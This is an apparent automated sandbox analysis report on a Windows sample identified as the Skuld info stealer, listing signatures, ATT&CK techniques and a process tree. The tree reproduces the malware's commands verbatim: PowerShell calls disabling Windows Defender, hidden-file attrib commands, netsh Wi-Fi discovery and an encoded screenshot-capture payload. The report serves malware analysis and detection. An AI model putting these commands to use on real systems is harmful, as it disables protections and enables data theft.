Overview

overview

10

Static

static

10

2026-09-16...ch.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    16/09/2026, 22:22

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-09-16_3da9e67ec9498396939a9ba8388ab387_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
  • Size 11.3MB
  • Sample260916-19933afa35
  • SHA256 2e45baabc901bcb6bc597d74ca681b0272f8ba70ba596724f087987cb2341764
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionskuldpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Signatures

  • Family: Skuld stealer

    An info stealer written in Go lang.

    stealerskuld
  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detects SkuldStealer 1 IoCs
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies security service 2 TTPs 2 IoCs
    defense_evasion
  • UAC bypass 3 TTPs 1 IoCs
    defense_evasiontrojan
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Detects executables Discord URL observed in first stage droppers 1 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Detects executables containing URLs to raw contents of a Github gist 1 IoCs
  • Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs
  • Detects executables containing possible sandbox system UUIDs 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Detects executables referencing combination of virtualization drivers 1 IoCs
  • Detects executables referencing specific set of files observed in sandob anti-evation, and Emotet 1 IoCs
  • Detects executables referencing virtualization MAC addresses 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 22 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 10 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Drops file in Drivers directory 3 IoCs
  • Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 19 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs
  • System policy modification 1 TTPs 1 IoCs
    defense_evasion
  • Views/modifies file attributes 1 TTPs 4 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-16_3da9e67ec9498396939a9ba8388ab387_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-16_3da9e67ec9498396939a9ba8388ab387_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies Windows Defender Real-time Protection settings
    • Modifies Windows Defender TamperProtection settings
    • Modifies security service
    • UAC bypass
    • Drops file in Drivers directory
    • Windows security modification
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4520
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\2026-09-16_3da9e67ec9498396939a9ba8388ab387_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
      2⤵
      • Views/modifies file attributes
      PID:3520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2026-09-16_3da9e67ec9498396939a9ba8388ab387_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1700
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name /value
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4824
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:552
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get NumberOfCores /value
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1880
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Disables one or more Microsoft Defender components
      • Suspicious behavior: EnumeratesProcesses
      PID:5036
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get NumberOfLogicalProcessors /value
      2⤵
        PID:2312
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get MaxClockSpeed /value
        2⤵
          PID:1048
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -DisableArchiveScanning $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Hide Artifacts: Ignore Process Interrupts
          PID:3496
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Hide Artifacts: Ignore Process Interrupts
          PID:4928
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -DisableCatchupQuickScan $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Hide Artifacts: Ignore Process Interrupts
          PID:1808
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -DisableCatchupFullScan $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Hide Artifacts: Ignore Process Interrupts
          PID:4760
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -DisableInboundConnectionFiltering $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Hide Artifacts: Ignore Process Interrupts
          PID:1452
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Hide Artifacts: Ignore Process Interrupts
          PID:996
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -DisablePrivacyMode $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Hide Artifacts: Ignore Process Interrupts
          PID:4040
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Hide Artifacts: Ignore Process Interrupts
          PID:3432
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -DisableIOAVProtection $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Hide Artifacts: Ignore Process Interrupts
          PID:4200
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -DisableRemovableDriveScanning $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Hide Artifacts: Ignore Process Interrupts
          PID:1540
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Hide Artifacts: Ignore Process Interrupts
          PID:2024
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Hide Artifacts: Ignore Process Interrupts
          PID:620
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -DisableScanningNetworkFiles $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Hide Artifacts: Ignore Process Interrupts
          PID:1324
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -DisableScriptScanning $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Hide Artifacts: Ignore Process Interrupts
          PID:3688
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Hide Artifacts: Ignore Process Interrupts
          PID:4052
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Hide Artifacts: Ignore Process Interrupts
          PID:2260
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -ModerateThreatDefaultAction 6 -Force -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Hide Artifacts: Ignore Process Interrupts
          PID:712
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -SevereThreatDefaultAction 6 -Force -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Hide Artifacts: Ignore Process Interrupts
          PID:3076
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -SubmitSamplesConsent 2 -ErrorAction SilentlyContinue"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables automatic submission of suspicious files to Microsoft by Windows Defender
          • Hide Artifacts: Ignore Process Interrupts
          PID:3280
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "Set-MpPreference -MAPSReporting 0"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          PID:2000
        • C:\Windows\system32\attrib.exe
          attrib -r C:\Windows\System32\drivers\etc\hosts
          2⤵
          • Drops file in Drivers directory
          • Views/modifies file attributes
          PID:4992
        • C:\Windows\system32\attrib.exe
          attrib +r C:\Windows\System32\drivers\etc\hosts
          2⤵
          • Drops file in Drivers directory
          • Views/modifies file attributes
          PID:3108
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4304
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3mnddj5o\3mnddj5o.cmdline"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5040
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBC56.tmp" "c:\Users\Admin\AppData\Local\Temp\3mnddj5o\CSC36653805F17F42DC9E5228178065CBAF.TMP"
              4⤵
                PID:4208
          • C:\Windows\System32\Wbem\wmic.exe
            wmic os get Caption
            2⤵
              PID:4364
            • C:\Windows\System32\Wbem\wmic.exe
              wmic cpu get Name
              2⤵
                PID:1796
              • C:\Windows\System32\Wbem\wmic.exe
                wmic path win32_VideoController get name
                2⤵
                • Detects videocard installed
                PID:5060
              • C:\Windows\System32\Wbem\wmic.exe
                wmic csproduct get UUID
                2⤵
                  PID:3532
                • C:\Windows\system32\netsh.exe
                  netsh wlan show profiles
                  2⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  • System Network Configuration Discovery: Wi-Fi Discovery
                  PID:2092
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2644
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u15lvg4v\u15lvg4v.cmdline"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1692
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCEA5.tmp" "c:\Users\Admin\AppData\Local\Temp\u15lvg4v\CSCF62B2ABBC6104390B3C7921CF984AF81.TMP"
                      4⤵
                        PID:228
                • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
                  C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1020

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Command and Scripting Interpreter

                      1
                      T1059

                      PowerShell

                      1
                      T1059.001

                      Persistence

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Create or Modify System Process

                      4
                      T1543

                      Windows Service

                      4
                      T1543.003

                      Event Triggered Execution

